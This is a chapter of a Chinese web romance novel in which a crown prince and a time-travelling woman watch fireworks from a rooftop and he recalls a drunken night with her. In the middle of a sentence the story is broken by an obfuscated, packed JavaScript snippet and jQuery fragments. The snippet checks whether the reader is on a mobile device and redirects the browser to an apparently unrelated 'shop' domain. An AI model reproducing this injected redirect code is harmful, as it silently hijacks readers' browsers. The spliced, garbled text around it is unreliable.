36. 同床异梦的夫妻

作品:《吃醋精怎么缠上了我?

    贺玉盯着眼前的楚青歆,看着她被小摊的灯光映得发亮的眼眸,有些柔和秀美的侧脸,不禁有些沉醉。


    像是喝了一壶不见形的酒,慢慢酒香略过,酒意升腾,人就不知不觉地醉在其中。


    集市人满为患,因此燥乱热闹的气氛持续高涨,人声鼎沸中一丝悄然的爱意正在生长着,像是泥土下的新芽,在无人知晓的暗夜里穿破桎梏,等待着遇见天光的那一刻。


    “想去高处赏月吗?”贺玉失神在楚青歆的脸上,脱口而出了一句询问。


    楚青歆好像没有听得真切,于是凑上前来,她袍子肩头上的狐毛轻轻剐蹭着贺玉手臂处,分明隔着一层厚重的衣物,但有些人的心却怪异地跳动了起来。


    “去赏月吗?”贺玉低下头提高了声量,才压过这喧嚣,把话再一次传进她的耳朵。


    “去哪?”楚青歆问道。


    现在他们被人群挤在小摊前,欠脚去望那远处,也是浩浩汤汤的百姓队伍,感觉像是一辈子都走不到尽头,一时半刻哪有一个地方够人停歇,赏见那没有人头的月亮。


    “跟我走。”贺玉拉起楚青歆的手掌,不由分说地带着她在人群中穿梭。


    因为这幅身子的状况,楚青歆的手心凉得可怕,现在握上了那只微热的手掌,冷热交替着,使得人也变得敏感。


    楚青歆被他这么拉着,在夹缝中间穿行,两人就好像冲着一个谁都不清楚的未来勇步向前,是那种不顾得失的义无反顾。


    这感觉,怎么整得跟私奔似的。


    总算是挤出了拥挤的人群,在一个巷子的转角处贺玉停了下来,但这个地方分明看不清月亮,难道就在这里赏月?


    楚青歆正有些困惑,刚想张嘴询问,但话还没说出口,就感觉自己的腰间被贺玉揽住,感觉身子一轻,像是失去了重力般,眼前的所有事物都在极速地下降,最终只剩下那一轮皎洁的明月。


    脚终于重新落回实物上,楚青歆有些恍惚地看向脚下那片东西,不过怎么是瓦片啊,她刚才飞起来了?


    楚青歆还沉浸在自己像是影视剧里的人物一般居然飞檐走壁的欣喜中,这轻功给她带来的后劲十足,她感觉自己此刻就像是一个仗义女侠潇洒自在,看着世人都难以看到的风景。


    在她心里万分雀跃的时候,贺玉早已盘腿落座在了房顶,他眼里映着圆月的形状,直勾勾地望向远方的喧嚣。


    “太厉害了,有时间能不能教教我这招。”楚青歆对此钦佩不已,这也太神奇,太脱离科学实际了。


    贺玉没有扭头,只是一味看着天际的明月,“你学不会。”


    “为何?”楚青歆有些不服,坐在了他的身边,但距离却有些远。


    “我自幼学习武功,到了这个年纪也仅仅能把轻功练成这样,再高些的地方连我都无法成功,你短短时间是很难学成的。”贺玉说这话时心情有些落寞。


    他时刻提醒着自己,虽然楚青歆现在算是他的朋友,但只要三皇子的案子查清,他也没有理由再把人留在东宫里。


    他不知道案子到底什么时候能够查清,或许是三年五载,或许更久,也或许就是明天,谁都说不准。


    但他知道的是,楚青歆留在他身边的时间一定不会超过她学会轻功的时间。


    转眼自己就到了要嫁娶的年纪,起初只是母后不断地提及,但最近一段时间连父皇都开始隐晦地给他寻那门当户对的姑娘,他怎么能不知道,今年,明年,他很有可能就会娶一个任何人都觉得合适的女人,那时候,楚青歆又怎能继续待下去。


    就算是友人,一太子和一富商家的长女,又怎会不受到百姓的非议。


    有时候一想到这里,他恨不得时间被冻结,这样就不用再担心楚青歆会离开他身边这件事,他也不用再自怨自艾。


    如果这世间有一种法子能让楚青歆顺理成章地留在自己身边,他愿意掷千金去换。


    “不教就不教呗,还真是小气。”楚青歆以为他这是吝啬告知自己这轻功的秘诀,毕竟她自己也清楚,这武功秘籍可不是谁想要就能给的,于是抬头也看向了贺玉正望着的那片天空。


    烟花炸起,绚丽地绽放在黑夜,星星点点展示过自己最完美的一面后便消逝,重新落回了地上。


    不知道是哪户富贵人家购入的烟火,一束接着一束,好不精彩,不知道是烟火的声音过大掩住了人声鼎沸,还是因为这么一场声势浩大的烟火转移了众人的注意,除了烟火声外,感觉万物都被强行禁了声响,所有的注意都落在争相斗艳的火光中。


    此时,贺玉慢慢地转过头来,他的注意再一次被楚青歆吸引了过去,烟火照耀下的楚青歆,明目皓齿,朱唇玉润,乌黑的长发在风中肆意飘散着,像是一副上等的画作。


    到底是从那一刻开始,楚青歆的一举一动都牵扯起他的心脏,让他不自觉地就想把注意力放在她的身上。


    楚青歆正专注地看着烟火,上一次看还是过年的时候,但她是被母后大人逼着去看的,在以前,她向来觉得春节的烟火寡淡无趣,看多了便觉得腻歪。


    只记得那天落雪纷飞,冻得人苦不堪言,还要被人群挤在广场中央,等着那再寻常不过的烟花。


    但是没想到,此刻她却在烟火中有些深陷迷茫,看到了与记忆里联通的事物,她的想念就如同那烟火般,一旦被点燃,就一发不可收拾。


    烟火燃烧升空的那一刻她才意识到这个世界已经到了中秋,对时间才有了真切的感受,原来已经过去这么多天了,她已经穿越到这里这么久了。


    她盯着以前自己最腻烦的烟火,现在居然有了一种思念,就好像那烟火能够带着她回到属于她的世界,让一切重置归零。


    但很快绝望代替了落寞,她现在就像是被关进了杀人狂魔精心打造的暗室,看似有希望逃脱的通关线索,只不过是一场杀人魔打造的游戏,一场量身定制的游戏。


    最终的密码始终掌握在一个不知踪迹的人手中,找到钥匙就能逃离,但是重要的是,她找不到那个人,就算找到了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979136|191695||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她也抢不过来。


    贺玉看着楚青歆的眼角轻轻溢出了泪花,他不明白这姑娘为什么看到烟火会流泪,但他却能感觉到她无声的绝望,是错觉吗。


    难道她的绝望是自己造成的吗。


    他记得那日和司邢的对话,他说这姑娘被自己召进来,远离近亲,孤身一人在外,就跟提前出嫁了没什么不同。


    姑娘家的感情本就比一些粗枝大叶的男人细腻些,离开家人无依无靠,还可能随时被他呵斥指责,这一切当然会让她绝望,看不清未来。


    她是不是现在还是会想着离开自己,回到那楚府过她滋润的大小姐日子,只是忌惮自己不敢说了而已。


    他愿意重金寻一个留住那姑娘的方法,但眼前的姑娘或许只是一心的想要逃离自己,与他再也井水不犯河水。


    想到这里,他心头像是被人蒙住,猛烈击打了几拳,痛楚顺着血液流至四肢五骸,最终到了眼眶,他的眼角也开始微微变得湿润,但依旧目不转睛地盯着眼前人。


    就在他落寞伤感的情绪一并涌入大脑的时候,他注意到了楚青歆裸露在外的脖颈,视线很快精准地落在了她白皙皮肤下的红痕。


    这是什么?


    贺玉的大脑嗡的一声作响,神经也在疯狂地抽动着,好像有什么特别重要的记忆在回溯。


    顺着红痕这条线索在不停地向外生长着记忆的枝杈,枝杈越来越密也越来越多,慢慢构成了一棵完整的大树,他好像也被缠在了树的中央,强行回忆起一段模糊细碎的记忆。


    他牙上一用力,轻易咬上了那片细嫩的白肉,怀里的人倒吸这一口凉气,但是一言不发。


    他在做什么?他咬了谁,他抱着的是谁?这是什么时候的记忆,他怎么完全想不起来。


    身下的人看不清面容,手指竖起好像在发着什么誓,但手势都完全不对,感觉是在敷衍自己。


    他想要努力回想起那人说得话,但大脑里只能听见细微的声音,渐渐地声音好像变大了。


    那人重新竖好了手指,有些认真地说着,“我发誓我不会离开你,以天地为鉴,如果我食言……”


    那人说食言会怎么样?


    声音顿时像是被人故意放大了数倍,真切清晰。


    “我就永远回不去。”


    这算什么誓言,没头没尾,毫无逻辑,简直就像是梦话。


    但会很快心里的吐槽被逐渐变得清晰的人脸堵住了,那张满是温柔,附着一层红晕的面容。


    被自己咬了一口,又被自己压在身下逼着发誓之人居然是


    楚青歆!


    所以这是他那日醉酒后的记忆,他居然对着一个未出阁的姑娘做了那等事情,怪不得那日醒来,两人间的气氛诡异。


    但他无论如何也想不通,那誓言是何意。


    这姑娘到底要回去哪里,又为何用那这件事认真地发誓。


    房顶上的两人,像是一对同床异梦的夫妻,明明寸步之距,但却各有心事,谁也不懂谁的苦恼。